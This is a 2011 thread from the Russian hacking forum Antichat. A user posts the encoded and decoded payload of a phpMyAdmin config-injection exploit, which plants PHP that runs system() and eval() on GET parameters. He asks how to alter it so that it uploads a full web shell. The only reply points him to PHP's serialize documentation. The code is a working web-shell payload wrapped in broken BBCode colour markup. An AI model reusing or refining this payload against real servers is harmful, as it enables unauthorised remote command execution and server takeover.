Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Помогите разобраться с работой сплойта phpmyadmin (https://forum.antichat.xyz/showthread.php?t=282289)

Bigmanhlo 04.07.2011 11:59

Вообщем суть такова. Вот сплойт http://www.exploit-db.com/download/8921/.

По сути мне нужно сделать так чтобы, чтобы этот эксплойт мне залил полноценный шелл. Но столкнулся с рядом проблемм.

Вот шифрованный код.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bsystem[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR] 

Вот рассшифрованный

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'; if($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';system($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';}if($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';eval($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';};//'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR

Но даже для примера просто пробую поменять в коде passthru вместо system. И сплойт не пишет пхп код в конфиг. Хоть что, изменяешь в коде, он перестаёт писать в конфиг, даже простой метод в место GET, ставлю POST. И уже мой пхп код, не пишеться в конфиг.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bpassthru[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR] 

Что мне конкретно надо? Чтобы вшить в сплойт полноценный шелл, и он мне залил его. Но я не могу понять толи какие то ограничения по символам толи что, подсказывайте . Другие сплойты не предлагать, запись в конфиг есть, но мне надо конретно сделать тот вопрос, о котором спросил, других альтернатих не предлагайте, нужно именно этот пример. Спасибо

chekist 04.07.2011 21:04

почитай сначала

http://php.net/manual/ru/function.serialize.php


Время: 20:58